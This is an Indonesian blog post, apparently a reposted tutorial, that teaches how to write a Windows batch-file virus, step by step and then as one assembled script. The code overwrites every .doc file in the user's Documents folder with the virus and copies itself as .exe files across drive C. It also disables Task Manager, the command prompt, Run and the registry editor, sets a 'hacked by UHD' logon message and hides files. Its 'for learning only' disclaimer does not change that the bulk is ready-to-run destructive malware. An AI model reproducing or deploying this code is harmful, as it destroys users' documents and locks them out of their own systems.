[+] Post Title :

Batchfile Virus

[+] Date : Rabu, 01 Februari 2012
[+] Author : šëHëR!êž Hⁿc
[+] Link : http://seherieshnc.blogspot.com/2011/12/batchfile-virus.html
[+] Type : virus worm

Aku disini akan mengajarkan bagaimna kita membuat virus
Tapi bila kalian ingin membuat virus,harus mengetahui Kriteria virus
Suatu Program dapat di sebut sebagai suatu Virus,
apabila memenuhi minimal 5 kriteria sebagai berikut:

1. Kemampuan untuk Mendapatkan Informasi
2. Kemampuan untuk Memeriksa Suatu File
3. Kemampuan untuk Menggandakan Diri dan Menularkan Diri
4. Kemampuan untuk Melakukan Manipulasi
5. Kemampuan untuk Menyembunyikan Diri

1. Kemampuan untuk Mendapatkan Informasi
Virus dirancang untuk menginfeksi banyak file atau program
Pada umumnya suatu virus memerlukan daftar nama-nama file yang ada
dalam suatu direktori,Untuk apa?Agar virus dapat memperoleh daftar
file yang bisa ditulari
berikut contoh codingan dalam batch


code:

REM Mencari Folder MyDocument
set "DocReg=HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths"
for /f "tokens=1,2,*" %%a in ('REG QUERY "%DocReg%" /v "%username%"') do (
set "DocPath=%%~c"
)

2. Kemampuan untuk Memeriksa Suatu File.
 Suatu virus juga bisa memeriksa suatu file yang akan ditularinya misalnya virus tersebut
akan menulari program berekstensi *.doc,maka virus akan memeriksa apakah file ducumen itu
telah terinfeksi ataupun belum,karena jika sudah,akan percuma menularinya lagi
berikut contoh codingan dalam batch

code:

for /R "%DocPath%" %%d in (*.doc) do (
type "%%d">backup.txt
type %0>"%%~fd"
Del /f /q "backup.txt"
)

3. Kemampuan untuk Menggandakan Diri dan Menularkan Diri
virus memiliki kemampuan untuk mengandakan diri dengan cara menulari file lainnya
Suatu virus jika sudah menemukan korbannua maka virus akan mengenalinya dengan memeriksanya
jika belum terinfeksi maka virus akan memulai penularan dengan cara menuliskan byte
pengenal pada file itu,dan seterusnya menyalin/menulis kode object virus di atas file sasaran
berikut contoh codingan dalam batch

code:

REM Mengcopy diri sendiri ke seluruh folder di drive C
For /R C":\" /C %%a in (*) do copy %0 "%%~fa\%%~nxa.exe"

4. Kemampuan untuk Melakukan Manipulasi
virus memiliki kemampuan untuk bertahan hidup agar file virus tidak dapat di hapus
biasanya virus melakukan manipulasi seperti,mendisabled taskmanager,command prompt,run,regedit
 atau kemampuan untuk menampilkan pesan saat komputer di jalankan
berikut contoh codingan dalam batch

code:

reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d 00000001
reg ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d 00000001
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /V "DisableCMD" /t REG_DWORD /d 00000001
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoRun" /t REG_DWORD /d 00000001
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableRegistryTools" /t REG_DWORD /d 00000001
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeCaption /d "UHD Was Here" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeText /d "Your Computer has been hacked by UHD"

5. Kemampuan untuk Menyembunyikan Diri
kemampuan ini merupakan harus di miliki vius agar semua perkerjaannya dari awal sampai akhir
berikut contoh codingan dalam batch

code:

attrib +a +s +h *.*

untuk hasil akhirnya seperti ini


code:

@echo off
REM Mencari Folder MyDocument
set "DocReg=HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths"
for /f "tokens=1,2,*" %%a in ('REG QUERY "%DocReg%" /v "%username%"') do (
set "DocPath=%%~c"
)
for /R "%DocPath%" %%d in (*.doc) do (
type "%%d">backup.txt
type %0>"%%~fd"
Del /f /q "backup.txt"
)
REM Mengcopy diri sendiri ke seluruh folder di drive C
For /R C":\" /C %%a in (*) do copy %0 "%%~fa\%%~nxa.exe"
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d 00000001
reg ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableTaskMgr" /t REG_DWORD /d 00000001
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /V "DisableCMD" /t REG_DWORD /d 00000001
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V "NoRun" /t REG_DWORD /d 00000001
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v "DisableRegistryTools" /t REG_DWORD /d 00000001
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeCaption /d "UHD Was Here" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeText /d "Your Computer has been hacked by UHD"
attrib +a +s +h *.*

Sebaiknya jangan di jalankan di komputer
Karena penulis tidak bertangung jawab jika ada kerusakan pada komputer anda
virus ini hanya sebagai wawasan anda dalam mempelajari virus
Code : sohai